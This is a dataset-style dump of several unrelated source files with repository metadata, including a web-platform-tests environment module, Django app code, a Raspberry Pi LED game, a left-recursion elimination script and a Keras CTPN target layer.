if self.ema_from_ != 0 and datetime.today() >= self.ema_from_ + timedelta(hours=t.hour, minutes=t.minute):
return True
else:
return False
def _run(self):
if not self.ema.empty:
self._extract_about_time()
if not self.ema.empty and not self.ema_content == "none":
self._ema_content_not_none()
def run(self):
if hasattr(self, "depend_class"):
fill_cond_flag = self._depend_condition()
# 〇〇時間経っていない場合にFalseが返る
if not fill_cond_flag:
return False
self._run()
if self.exists:
return True if not self.ema.empty else False
else:
return True if self.ema.empty else False
def add_depend_class(self, depend_class):
self.depend_class = depend_class
def copy(self):
return EventTemplate(self.param, self.user_info, self.ema, self.logger)
| [
"makeffort134@gmail.com"
] | makeffort134@gmail.com |
b91cb3c12a2949a4360518e9abecbc11298c03dd | 230b7714d61bbbc9a75dd9adc487706dffbf301e | /third_party/blink/web_tests/external/wpt/tools/wptrunner/wptrunner/environment.py | 2493f1fa4407a39aad3ac3c2a724322b75b0944a | [
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-w3c-03-bsd-license"
] | permissive | byte4byte/cloudretro | efe4f8275f267e553ba82068c91ed801d02637a7 | 4d6e047d4726c1d3d1d119dfb55c8b0f29f6b39a | refs/heads/master | 2023-02-22T02:59:29.357795 | 2021-01-25T02:32:24 | 2021-01-25T02:32:24 | 197,294,750 | 1 | 2 | BSD-3-Clause | 2019-09-11T19:35:45 | 2019-07-17T01:48:48 | null | UTF-8 | Python | false | false | 8,027 | py | import json
import os
import multiprocessing
import signal
import socket
import sys
import time
from mozlog import get_default_logger, handlers, proxy
from .wptlogging import LogLevelRewriter
here = os.path.split(__file__)[0]
repo_root = os.path.abspath(os.path.join(here, os.pardir, os.pardir, os.pardir))
sys.path.insert(0, repo_root)
from tools import localpaths # noqa: flake8
from wptserve.handlers import StringHandler
serve = None
def do_delayed_imports(logger, test_paths):
global serve
serve_root = serve_path(test_paths)
sys.path.insert(0, serve_root)
failed = []
try:
from tools.serve import serve
except ImportError:
failed.append("serve")
if failed:
logger.critical(
"Failed to import %s. Ensure that tests path %s contains web-platform-tests" %
(", ".join(failed), serve_root))
sys.exit(1)
def serve_path(test_paths):
return test_paths["/"]["tests_path"]
class TestEnvironmentError(Exception):
pass
class TestEnvironment(object):
def __init__(self, test_paths, testharness_timeout_multipler, pause_after_test, debug_info, options, ssl_config, env_extras):
"""Context manager that owns the test environment i.e. the http and
websockets servers"""
self.test_paths = test_paths
self.server = None
self.config_ctx = None
self.config = None
self.testharness_timeout_multipler = testharness_timeout_multipler
self.pause_after_test = pause_after_test
self.test_server_port = options.pop("test_server_port", True)
self.debug_info = debug_info
self.options = options if options is not None else {}
self.cache_manager = multiprocessing.Manager()
self.stash = serve.stash.StashServer()
self.env_extras = env_extras
self.env_extras_cms = None
self.ssl_config = ssl_config
def __enter__(self):
self.config_ctx = self.build_config()
self.config = self.config_ctx.__enter__()
self.stash.__enter__()
self.cache_manager.__enter__()
self.setup_server_logging()
assert self.env_extras_cms is None, (
"A TestEnvironment object cannot be nested")
self.env_extras_cms = []
for env in self.env_extras:
cm = env(self.options, self.config)
cm.__enter__()
self.env_extras_cms.append(cm)
self.servers = serve.start(self.config,
self.get_routes())
if self.options.get("supports_debugger") and self.debug_info and self.debug_info.interactive:
self.ignore_interrupts()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.process_interrupts()
for scheme, servers in self.servers.iteritems():
for port, server in servers:
server.kill()
for cm in self.env_extras_cms:
cm.__exit__(exc_type, exc_val, exc_tb)
self.env_extras_cms = None
self.cache_manager.__exit__(exc_type, exc_val, exc_tb)
self.stash.__exit__()
self.config_ctx.__exit__(exc_type, exc_val, exc_tb)
def ignore_interrupts(self):
signal.signal(signal.SIGINT, signal.SIG_IGN)
def process_interrupts(self):
signal.signal(signal.SIGINT, signal.SIG_DFL)
def build_config(self):
override_path = os.path.join(serve_path(self.test_paths), "config.json")
config = serve.ConfigBuilder()
config.ports = {
"http": [8000, 8001],
"https": [8443],
"ws": [8888],
"wss": [8889],
}
if os.path.exists(override_path):
with open(override_path) as f:
override_obj = json.load(f)
config.update(override_obj)
config.check_subdomains = False
ssl_config = self.ssl_config.copy()
ssl_config["encrypt_after_connect"] = self.options.get("encrypt_after_connect", False)
config.ssl = ssl_config
if "browser_host" in self.options:
config.browser_host = self.options["browser_host"]
if "bind_address" in self.options:
config.bind_address = self.options["bind_address"]
config.server_host = self.options.get("server_host", None)
config.doc_root = serve_path(self.test_paths)
return config
def setup_server_logging(self):
server_logger = get_default_logger(component="wptserve")
assert server_logger is not None
log_filter = handlers.LogLevelFilter(lambda x:x, "info")
# Downgrade errors to warnings for the server
log_filter = LogLevelRewriter(log_filter, ["error"], "warning")
server_logger.component_filter = log_filter
server_logger = proxy.QueuedProxyLogger(server_logger)
try:
#Set as the default logger for wptserve
serve.set_logger(server_logger)
serve.logger = server_logger
except Exception:
# This happens if logging has already been set up for wptserve
pass
def get_routes(self):
route_builder = serve.RoutesBuilder()
for path, format_args, content_type, route in [
("testharness_runner.html", {}, "text/html", "/testharness_runner.html"),
(self.options.get("testharnessreport", "testharnessreport.js"),
{"output": self.pause_after_test,
"timeout_multiplier": self.testharness_timeout_multipler,
"explicit_timeout": "true" if self.debug_info is not None else "false"},
"text/javascript;charset=utf8",
"/resources/testharnessreport.js")]:
path = os.path.normpath(os.path.join(here, path))
# Note that .headers. files don't apply to static routes, so we need to
# readd any static headers here.
headers = {"Cache-Control": "max-age=3600"}
route_builder.add_static(path, format_args, content_type, route,
headers=headers)
data = b""
with open(os.path.join(repo_root, "resources", "testdriver.js"), "rb") as fp:
data += fp.read()
with open(os.path.join(here, "testdriver-extra.js"), "rb") as fp:
data += fp.read()
route_builder.add_handler(b"GET", b"/resources/testdriver.js",
StringHandler(data, "text/javascript"))
for url_base, paths in self.test_paths.iteritems():
if url_base == "/":
continue
route_builder.add_mount_point(url_base, paths["tests_path"])
if "/" not in self.test_paths:
del route_builder.mountpoint_routes["/"]
return route_builder.get_routes()
def ensure_started(self):
# Pause for a while to ensure that the server has a chance to start
total_sleep_secs = 30
each_sleep_secs = 0.5
end_time = time.time() + total_sleep_secs
while time.time() < end_time:
failed = self.test_servers()
if not failed:
return
time.sleep(each_sleep_secs)
raise EnvironmentError("Servers failed to start: %s" %
", ".join("%s:%s" % item for item in failed))
def test_servers(self):
failed = []
host = self.config["server_host"]
for scheme, servers in self.servers.iteritems():
for port, server in servers:
if self.test_server_port:
s = socket.socket()
s.settimeout(0.1)
try:
s.connect((host, port))
except socket.error:
failed.append((host, port))
finally:
s.close()
if not server.is_alive():
failed.append((scheme, port))
return failed
| [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
242f80c5d1c207d66d4fd11b8d495d63cf4a6543 | 4b2c5fe21ffcc35837bba06d2c3b43c5116f74bd | /Bit++.py | b021896ca96ab26196e29a12c95ef313ebda47fc | [] | no_license | joydas65/Codeforces-Problems | 8870cbbf1db9fa12b961cee7aaef60960af714ae | eb0f5877d0fede95af18694278029add7385973d | refs/heads/master | 2023-06-23T07:16:49.151676 | 2023-06-17T07:28:24 | 2023-06-17T07:28:24 | 184,123,514 | 5 | 1 | null | 2020-11-28T07:28:03 | 2019-04-29T18:33:23 | Python | UTF-8 | Python | false | false | 212 | py | ans = 0
for _ in range(int(input())):
s = input()
if s[0] == '+' or '+' in s:
ans += 1
elif s[0] == '-' or '-' in s:
ans -= 1
print(ans)
| [
"noreply@github.com"
] | noreply@github.com |
a5b7854d74583f2b5913bc129ba9fe75b8003d23 | fe2aa0c918f2dd7950414757fe0d1b73c3cb75a4 | /votesystem/vote/migrations/0002_remove_poll_name.py | d7773cc24a907bb7edcf12ab3b09786ba5fdf6c2 | [
"MIT"
] | permissive | majaeseong/votesystem | 6b705f7a2aedce692607de315e5652c44ecd0ce2 | 624fadca0251a81c0417f3a3a23f3d6c38b1cf33 | refs/heads/master | 2020-04-14T06:15:58.589054 | 2019-01-07T05:31:55 | 2019-01-07T05:31:55 | 163,681,655 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 310 | py | # Generated by Django 2.0.9 on 2018-12-30 11:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('vote', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='poll',
name='name',
),
]
| [
"cpontina@naver.com"
] | cpontina@naver.com |
c2f2d1e2fa978cbe1369c0ec85d70b4be9c746c9 | 66f5ab6d5f78d304350ec4dd734b5d30cb8423f7 | /first.py | c60dbcc76e375946b5952d2d0841112066974bb0 | [] | no_license | akuppam/Py_programs | 4695819bbe744bed6c04b6a5cbde67da6dae0e98 | 65c7f9830c6a8602b65ae6a5b273453efdd846ac | refs/heads/master | 2021-01-19T01:13:53.999056 | 2017-04-04T20:36:50 | 2017-04-04T20:36:50 | 87,232,275 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16 | py | print "good one" | [
"noreply@github.com"
] | noreply@github.com |
9740ebd46f4efaf866df9077cf36f71f266f2f83 | 1f4c19a1bc91c09b3b5b54346b67c913363f7cd0 | /ctpn/layers/target.py | d8c13115572c3aeffa3a30d87192baf4332b5894 | [
"Apache-2.0"
] | permissive | ximingr/ctpn-with-keras | d80bcd753a8d82c4504b8635f43f8253cadb878d | d78d74bbf55cbf5d4867e363eb417c1590a8fd52 | refs/heads/master | 2020-07-06T11:32:24.968182 | 2019-09-27T05:42:32 | 2019-09-27T05:42:32 | 203,003,267 | 0 | 0 | Apache-2.0 | 2019-09-27T05:42:33 | 2019-08-18T12:57:43 | Python | UTF-8 | Python | false | false | 10,031 | py | # -*- coding: utf-8 -*-
"""
File Name： Target
Description : 分类和回归目标层
Author : mick.yi
date： 2019/3/13
"""
from keras import layers
import tensorflow as tf
from ..utils import tf_utils
def compute_iou(gt_boxes, anchors):
"""
计算iou
:param gt_boxes: [N,(y1,x1,y2,x2)]
:param anchors: [M,(y1,x1,y2,x2)]
:return: IoU [N,M]
"""
gt_boxes = tf.expand_dims(gt_boxes, axis=1) # [N,1,4]
anchors = tf.expand_dims(anchors, axis=0) # [1,M,4]
# 交集
intersect_w = tf.maximum(0.0,
tf.minimum(gt_boxes[:, :, 3], anchors[:, :, 3]) -
tf.maximum(gt_boxes[:, :, 1], anchors[:, :, 1]))
intersect_h = tf.maximum(0.0,
tf.minimum(gt_boxes[:, :, 2], anchors[:, :, 2]) -
tf.maximum(gt_boxes[:, :, 0], anchors[:, :, 0]))
intersect = intersect_h * intersect_w
# 计算面积
area_gt = (gt_boxes[:, :, 3] - gt_boxes[:, :, 1]) * \
(gt_boxes[:, :, 2] - gt_boxes[:, :, 0])
area_anchor = (anchors[:, :, 3] - anchors[:, :, 1]) * \
(anchors[:, :, 2] - anchors[:, :, 0])
# 计算并集
union = area_gt + area_anchor - intersect
# 交并比
iou = tf.divide(intersect, union, name='regress_target_iou')
return iou
def ctpn_regress_target(anchors, gt_boxes):
"""
计算回归目标
:param anchors: [N,(y1,x1,y2,x2)]
:param gt_boxes: [N,(y1,x1,y2,x2)]
:return: [N, (dy, dh, dx)] dx 代表侧边改善的
"""
# anchor高度
h = anchors[:, 2] - anchors[:, 0]
# gt高度
gt_h = gt_boxes[:, 2] - gt_boxes[:, 0]
# anchor中心点y坐标
center_y = (anchors[:, 2] + anchors[:, 0]) * 0.5
# gt中心点y坐标
gt_center_y = (gt_boxes[:, 2] + gt_boxes[:, 0]) * 0.5
# 计算回归目标
dy = (gt_center_y - center_y) / h
dh = tf.log(gt_h / h)
dx = side_regress_target(anchors, gt_boxes) # 侧边改善
target = tf.stack([dy, dh, dx], axis=1)
target /= tf.constant([0.1, 0.2, 0.1])
return target
def side_regress_target(anchors, gt_boxes):
"""
侧边改善回归目标
:param anchors: [N,(y1,x1,y2,x2)]
:param gt_boxes: anchor 对应的GT boxes[N,(y1,x1,y2,x2)]
:return:
"""
w = anchors[:, 3] - anchors[:, 1] # 实际是固定长度16
center_x = (anchors[:, 3] + anchors[:, 1]) * 0.5
gt_center_x = (gt_boxes[:, 3] + gt_boxes[:, 1]) * 0.5
# 侧边框移动到gt的侧边，相当于中心点偏移的两倍;不是侧边的anchor 偏移为0;
dx = (gt_center_x - center_x) * 2 / w
return dx
def ctpn_target_graph(gt_boxes, gt_cls, anchors, valid_anchors_indices, train_anchors_num=128, positive_ratios=0.5,
max_gt_num=50):
"""
处理单个图像的ctpn回归目标
a)正样本: 与gt IoU大于0.7的anchor,或者与GT IoU最大的那个anchor
b)需要保证所有的GT都有anchor对应
:param gt_boxes: gt边框坐标 [gt_num, (y1,x1,y2,x2,tag)], tag=0为padding
:param gt_cls: gt类别 [gt_num, 1+1], 最后一位为tag, tag=0为padding
:param anchors: [anchor_num, (y1,x1,y2,x2)]
:param valid_anchors_indices:有效的anchors索引 [anchor_num]
:param train_anchors_num
:param positive_ratios
:param max_gt_num
:return:
deltas:[train_anchors_num, (dy,dh,dx,tag)],anchor边框回归目标,tag=1为正负样本,tag=0为padding
class_id:[train_anchors_num,(class_id,tag)]
indices: [train_anchors_num,(anchors_index,tag)] tag=1为正样本,tag=0为padding,-1为负样本
"""
# 获取真正的GT,去除标签位
gt_boxes = tf_utils.remove_pad(gt_boxes)
gt_cls = tf_utils.remove_pad(gt_cls)[:, 0] # [N,1]转[N]
gt_num = tf.shape(gt_cls)[0] # gt 个数
# 计算IoU
iou = compute_iou(gt_boxes, anchors)
# 每个GT对应的IoU最大的anchor是正样本(一般有多个)
gt_iou_max = tf.reduce_max(iou, axis=1, keep_dims=True) # 每个gt最大的iou [gt_num,1]
gt_iou_max_bool = tf.equal(iou, gt_iou_max) # bool类型[gt_num,num_anchors];每个gt最大的iou(可能多个)
# 每个anchors最大iou ，且iou>0.7的为正样本
anchors_iou_max = tf.reduce_max(iou, axis=0, keep_dims=True) # 每个anchor最大的iou; [1,num_anchors]
anchors_iou_max = tf.where(tf.greater_equal(anchors_iou_max, 0.7),
anchors_iou_max,
tf.ones_like(anchors_iou_max))
anchors_iou_max_bool = tf.equal(iou, anchors_iou_max)
# 合并两部分正样本索引
positive_bool_matrix = tf.logical_or(gt_iou_max_bool, anchors_iou_max_bool)
# 获取最小的iou,用于度量
gt_match_min_iou = tf.reduce_min(tf.boolean_mask(iou, positive_bool_matrix), keep_dims=True)[0] # 一维
gt_match_mean_iou = tf.reduce_mean(tf.boolean_mask(iou, positive_bool_matrix), keep_dims=True)[0]
# 正样本索引
positive_indices = tf.where(positive_bool_matrix) # 第一维gt索引号,第二维anchor索引号
# before_sample_positive_indices = positive_indices # 采样之前的正样本索引
# 采样正样本
positive_num = tf.minimum(tf.shape(positive_indices)[0], int(train_anchors_num * positive_ratios))
positive_indices = tf.random_shuffle(positive_indices)[:positive_num]
# 获取正样本和对应的GT
positive_gt_indices = positive_indices[:, 0]
positive_anchor_indices = positive_indices[:, 1]
positive_anchors = tf.gather(anchors, positive_anchor_indices)
positive_gt_boxes = tf.gather(gt_boxes, positive_gt_indices)
positive_gt_cls = tf.gather(gt_cls, positive_gt_indices)
# 计算回归目标
deltas = ctpn_regress_target(positive_anchors, positive_gt_boxes)
# # 获取负样本 iou<0.5
negative_bool = tf.less(tf.reduce_max(iou, axis=0), 0.5)
positive_bool = tf.reduce_any(positive_bool_matrix, axis=0) # 正样本anchors [num_anchors]
negative_bool = tf.logical_and(negative_bool, tf.logical_not(positive_bool))
# 采样负样本
negative_num = tf.minimum(int(train_anchors_num * (1. - positive_ratios)), train_anchors_num - positive_num)
negative_indices = tf.random_shuffle(tf.where(negative_bool)[:, 0])[:negative_num]
negative_gt_cls = tf.zeros([negative_num]) # 负样本类别id为0
negative_deltas = tf.zeros([negative_num, 3])
# 合并正负样本
deltas = tf.concat([deltas, negative_deltas], axis=0, name='ctpn_target_deltas')
class_ids = tf.concat([positive_gt_cls, negative_gt_cls], axis=0, name='ctpn_target_class_ids')
indices = tf.concat([positive_anchor_indices, negative_indices], axis=0,
name='ctpn_train_anchor_indices')
indices = tf.gather(valid_anchors_indices, indices) # 对应到有效的索引号
# 计算padding
deltas, class_ids = tf_utils.pad_list_to_fixed_size([deltas, tf.expand_dims(class_ids, 1)],
train_anchors_num)
# 将负样本tag标志改为-1;方便后续处理;
indices = tf_utils.pad_to_fixed_size_with_negative(tf.expand_dims(indices, 1), train_anchors_num,
negative_num=negative_num, data_type=tf.int64)
return [deltas, class_ids, indices, tf.cast( # 用作度量的必须是浮点类型
gt_num, dtype=tf.float32), tf.cast(
positive_num, dtype=tf.float32), tf.cast(negative_num, dtype=tf.float32),
gt_match_min_iou, gt_match_mean_iou]
class CtpnTarget(layers.Layer):
def __init__(self, batch_size, train_anchors_num=128, positive_ratios=0.5, max_gt_num=50, **kwargs):
self.batch_size = batch_size
self.train_anchors_num = train_anchors_num
self.positive_ratios = positive_ratios
self.max_gt_num = max_gt_num
super(CtpnTarget, self).__init__(**kwargs)
def call(self, inputs, **kwargs):
"""
:param inputs:
inputs[0]: GT 边框坐标 [batch_size, MAX_GT_BOXs,(y1,x1,y2,x2,tag)] ,tag=0 为padding
inputs[1]: GT 类别 [batch_size, MAX_GT_BOXs,num_class+1] ;最后一位为tag, tag=0 为padding
inputs[2]: Anchors [batch_size, anchor_num,(y1,x1,y2,x2)]
inputs[3]: val_anchors_indices [batch_size, anchor_num]
:param kwargs:
:return:
"""
gt_boxes, gt_cls_ids, anchors, valid_anchors_indices = inputs
# options = {"train_anchors_num": self.train_anchors_num,
# "positive_ratios": self.positive_ratios,
# "max_gt_num": self.max_gt_num}
#
# outputs = tf.map_fn(fn=lambda x: ctpn_target_graph(*x, **options),
# elems=[gt_boxes, gt_cls_ids, anchors, valid_anchors_indices],
# dtype=[tf.float32] * 2 + [tf.int64] + [tf.float32] + [tf.int64] + [tf.float32] * 3)
outputs = tf_utils.batch_slice([gt_boxes, gt_cls_ids, anchors, valid_anchors_indices],
lambda x, y, z, s: ctpn_target_graph(x, y, z, s,
self.train_anchors_num,
self.positive_ratios,
self.max_gt_num),
batch_size=self.batch_size)
return outputs
def compute_output_shape(self, input_shape):
return [(input_shape[0][0], self.train_anchors_num, 4), # deltas (dy,dh,dx)
(input_shape[0][0], self.train_anchors_num, 2), # cls
(input_shape[0][0], self.train_anchors_num, 2), # indices
(input_shape[0][0],), # gt_num
(input_shape[0][0],), # positive_num
(input_shape[0][0],), # negative_num
(input_shape[0][0], 1),
(input_shape[0][0], 1)] # gt_match_min_iou
| [
"ximing.fr@gmail.com"
] | ximing.fr@gmail.com |
9ae2cd4efdde3a7a2959e488d8dc87e026f832c1 | f1d2d069d905572bec0d740a476e70f7a9ea3a1f | /src/main/python/game.py | 252d821510edc3db2e1dc4a7a70a46ed66cda5be | [] | no_license | shahchiragr/IoT | 312d75f74dbae4cf82bf7af35fb7dd0ae803efba | 282613e0cf8d8eda79dcac7907802a8b6b083b6b | refs/heads/master | 2021-01-20T19:13:15.704424 | 2016-07-27T05:27:34 | 2016-07-27T05:27:34 | 64,192,817 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,499 | py | #import necessary libraries
import RPi.GPIO as gp,random, time
#set variable for easy pin reference
switchR = 19 #red switch
switchB = 26 #blue switch
ledR = 13
ledG = 6
ledB = 5
#initialize GPIO pins
gp.setmode(gp.BCM)
gp.setup(switchR, gp.IN, pull_up_down=gp.PUD_DOWN)
gp.setup(switchB, gp.IN, pull_up_down=gp.PUD_DOWN)
gp.setup([ledR,ledG,ledB],gp.OUT)
#define a function to monitor switches
def monitorSwitches(seconds):
#loop for specified time; checking for switch press
timeEnd = time.time() + seconds
while time.time() < timeEnd:
if gp.input(switchR) == True:
return announceWinner(switchR)
if gp.input(switchB) == True:
return announceWinner(switchB)
return False
# define a function to announce the Winner
def announceWinner(switch):
#define witch button was press first
firstBtn = ledR if switch == switchR else ledB
lastBtn = ledB if switch == switchR else ledR
#determin witch player won
winner = firstBtn if ledColor == ledG else lastBtn
#turn off active color and falsh winnin color
gp.output(ledColor, False)
for i in range(0,10):
gp.output(winner,True)
time.sleep(0.5)
gp.output(winner,False)
time.sleep(0.5)
#play the game, loop until a switch pressed
winner = False
while winner == False:
#select random Led color
ledColor = random.choice([ledR,ledG,ledB])
#play through one color style
gp.output(ledColor, True) # turn on LED
winner = monitorSwitches(5) #monitor switches
gp.output(ledColor, False) # turn off LED
gp.cleanup()
| [
"chirag_r_shah@hotmail.com"
] | chirag_r_shah@hotmail.com |
a3da0f001fde7949f07a23a3c977be7f2b31a51c | 43ec36aa7c98b796db1e0d4c7aa59c45dccbfbf6 | /conexion.py | 8891e11c556823f23af23fcee086755aa128449d | [] | no_license | noratoj/tkinter_condomi | 929d04477d0d897e38425b1cd20b7817c136b8ff | f83ee710219994b18f2f11aa8f45eecb1767fa18 | refs/heads/master | 2022-12-01T19:31:11.545474 | 2020-08-15T11:10:37 | 2020-08-15T11:10:37 | 279,878,967 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 680 | py | import mysql.connector
from mysql.connector import errorcode
class Conexion:
def conectar(self):
try:
conexion = mysql.connector.connect(user='root', password='3875', database='condo', host='127.0.0.1')
return(conexion)
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
print("Error de usuario o contraseña")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
print("Error en la Base de Datos")
else:
print(err)
return None
def cerrarConexion(self, conexion):
conexion.close()
| [
"juliocesarnorato@gmail.com"
] | juliocesarnorato@gmail.com |
e1995e2e558f63a34c905142503cb7f6958579ca | ab4637a2260663f5d952c439cef134340c3dcece | /apps/my_app/views.py | fc293ebfbd5f050c185c64f438a38f6dd0cb1a42 | [] | no_license | ariasamandi/semi_restful_users | cec2309d1078e75a3e1e842da8a37c93e0856e87 | db793c987c8d15a28c13086cfef566f39ad1d4e5 | refs/heads/master | 2020-03-11T17:30:53.043609 | 2018-04-19T02:41:51 | 2018-04-19T02:41:51 | 130,149,172 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,393 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.shortcuts import render, redirect
from models import *
# Create your views here.
def index(request):
context = {
"User": User.objects.all()
}
return render(request, 'my_app/index.html', context)
def new(request):
return render(request, 'my_app/new.html')
def edit(request, number):
context = {
"User": User.objects.get(id=number)
}
return render(request, 'my_app/edit.html', context)
def show(request, number):
context = {
"User": User.objects.get(id=number)
}
return render(request, 'my_app/show.html', context)
def create(request):
User.objects.create(first_name=request.POST['first_name'], last_name=request.POST['last_name'], email=request.POST['email'])
return redirect('/')
def destroy(request, number):
User.objects.get(id=number).delete()
return redirect('/')
def update(request, number):
b = User.objects.get(id=number)
b.first_name = request.POST['first_name']
b.last_name = request.POST['last_name']
b.email = request.POST['email']
b.save()
return redirect('/')
# def new_process(request):
# request.session['first_name'] = request.POST['first_name']
# request.session['last_name'] = request.POST['last_name']
# request.session['email'] = request.POST['email']
# return redirect('/') | [
"ariasamandi@gmail.com"
] | ariasamandi@gmail.com |
2527f4d9fd54b3e27de63af10a0a6823676bffc5 | 8f63cf27e69bc44dcd11e63a0c396b398443009b | /tests/unit/util/iterables.py | 454eaf3914e1ade640b62d055b97606ada1ab216 | [
"MIT"
] | permissive | ethanjli/phylline | fae756dbbead0351dd11c770158a1aa08fa363d2 | f11307d0f37ca835996250e1e835c44abd282769 | refs/heads/master | 2021-01-01T23:56:41.018911 | 2020-02-25T05:07:34 | 2020-02-25T05:07:34 | 239,400,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,382 | py | """Test the util.iterables module."""
# Builtins
# Packages
from phylline.util.iterables import make_collection, remove_none
def test_make_collection_singleton():
"""Test whether the make_collection function makes collections from singletons."""
assert make_collection(42) != 42
assert make_collection(42) == [42]
assert make_collection(42) != (42,)
assert make_collection(42, type=tuple) != 42
assert make_collection(42, type=tuple) != [42]
assert make_collection(42, type=tuple) == (42,)
def test_make_collection_iterable():
"""Test whether the make_collection function makes collections from iterables."""
assert make_collection(range(5)) != range(5)
assert make_collection(range(5)) == list(range(5))
assert make_collection(range(5)) != tuple(range(5))
assert make_collection(range(5), type=tuple) != range(5)
assert make_collection(range(5), type=tuple) != list(range(5))
assert make_collection(range(5), type=tuple) == tuple(range(5))
def test_remove_none():
"""Test whether remove_none removes Nones correctly."""
assert len(tuple(range(5))) == len(tuple(remove_none(range(5))))
for (initial, filtered) in zip(range(5), remove_none(range(5))):
assert initial == filtered
assert len(tuple(remove_none([1, 2, None, 3]))) == 3
assert tuple(remove_none([1, 2, None, 3])) == (1, 2, 3)
| [
"lietk12@gmail.com"
] | lietk12@gmail.com |
7eec1dfec4ec3c98b358f145c22daa5e51803b30 | 06691f0d09b8b788a479666087a11b3be2907b8a | /CD CODES/Experiment 4 Left Recursion Elimination/LeftReccurveElemin.py | a40de9b355d504f81050265875459b2c7256dec6 | [] | no_license | Subhojit907/CD-Codes-Sem-6 | 888e16fb4ccb3dd9b0dba8d7d65df163202cbc0c | a78caa8f2ea7bddb4f1f535e37999920e7e3ef86 | refs/heads/main | 2023-05-28T19:07:50.802368 | 2021-06-09T18:21:22 | 2021-06-09T18:21:22 | 375,451,645 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,248 | py | gram = {}
def add(str): #to rules together
x = str.split("->")
y = x[1]
x.pop()
z = y.split("|")
x.append(z)
gram[x[0]]=x[1]
def removeDirectLR(gramA, A):
"""gramA is dictonary"""
temp = gramA[A]
tempCr = []
tempInCr = []
for i in temp:
if i[0] == A:
#tempInCr.append(i[1:])
tempInCr.append(i[1:]+[A+"'"])
else:
#tempCr.append(i)
tempCr.append(i+[A+"'"])
tempInCr.append(["e"])
gramA[A] = tempCr
gramA[A+"'"] = tempInCr
return gramA
def checkForIndirect(gramA, a, ai):
if ai not in gramA:
return False
if a == ai:
return True
for i in gramA[ai]:
if i[0] == ai:
return False
if i[0] in gramA:
return checkForIndirect(gramA, a, i[0])
return False
def rep(gramA, A):
temp = gramA[A]
newTemp = []
for i in temp:
if checkForIndirect(gramA, A, i[0]):
t = []
for k in gramA[i[0]]:
t=[]
t+=k
t+=i[1:]
newTemp.append(t)
else:
newTemp.append(i)
gramA[A] = newTemp
return gramA
def rem(gram):
c = 1
conv = {}
gramA = {}
revconv = {}
for j in gram:
conv[j] = "A"+str(c)
gramA["A"+str(c)] = []
c+=1
for i in gram:
for j in gram[i]:
temp = []
for k in j:
if k in conv:
temp.append(conv[k])
else:
temp.append(k)
gramA[conv[i]].append(temp)
#print(gramA)
for i in range(c-1,0,-1):
ai = "A"+str(i)
for j in range(0,i):
aj = gramA[ai][0][0]
if ai!=aj :
if aj in gramA and checkForIndirect(gramA,ai,aj):
gramA = rep(gramA, ai)
for i in range(1,c):
ai = "A"+str(i)
for j in gramA[ai]:
if ai==j[0]:
gramA = removeDirectLR(gramA, ai)
break
op = {}
for i in gramA:
a = str(i)
for j in conv:
a = a.replace(conv[j],j)
revconv[i] = a
for i in gramA:
l = []
for j in gramA[i]:
k = []
for m in j:
if m in revconv:
k.append(m.replace(m,revconv[m]))
else:
k.append(m)
l.append(k)
op[revconv[i]] = l
return op
n = int(input("Enter No of Production: "))
for i in range(n):
txt=input()
add(txt)
result = rem(gram)
for x,y in result.items():
print(f'{x} -> {y}') | [
"noreply@github.com"
] | noreply@github.com |
03ac5092ebd77ee802d6b084a74dddda69c2c23b | 17d8c4428feee8b5d36ac98d338ca8d07ef1e2cd | /Chapter_3/knock20.py | 01072d1e53e66392ecadfb26763a3f8b1931137c | [] | no_license | mot11/NLP100knock | c8819be8d412b78ac588120aa0cacd9a9ba13bbe | 32d31609443f210835b71913940e6a9ecd24be10 | refs/heads/master | 2020-06-15T16:57:47.820621 | 2016-12-30T14:58:37 | 2016-12-30T14:58:37 | 75,277,729 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | # -*- coding: utf-8 -*-
import re
# creates text file "uk.txt" from JSON
p = re.compile(r'"イギリス"')
found = False
i = 0
with open('jawiki-country.json', 'r', encoding='utf-8') as f:
for line in f:
i += 1
for m in p.finditer(line):
found = True
break
if found:
break
with open('uk.txt', 'w', encoding='utf-8') as f:
f.write(line)
f.close()
| [
"moshi811@gmail.com"
] | moshi811@gmail.com |
69a2bb20118b3100ec46a9ba846f43df9a9212fc | ab0b4cc07be3f2865be2ff0cb5fd119bc70fc300 | /Development/blogapp/migrations/0013_auto_20211003_2158.py | d80099e2edd1b5b92c82dce2fdf791aef0b29120 | [] | no_license | Imtiyaz172/moni_siza | c3f586d465608d8ba3c03eede697a5a72d3726fd | 6a9cb1fc733dcea25547493b7d437bf80b0c835d | refs/heads/main | 2023-08-22T17:07:54.107946 | 2021-11-01T09:06:39 | 2021-11-01T09:06:39 | 379,846,320 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 499 | py | # Generated by Django 2.0.3 on 2021-10-03 15:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blogapp', '0012_auto_20211003_2144'),
]
operations = [
migrations.RemoveField(
model_name='user_reg',
name='user_image',
),
migrations.AlterField(
model_name='user_reg',
name='status',
field=models.BooleanField(default=True),
),
]
| [
"shihaborg1@gmail.com"
] | shihaborg1@gmail.com |
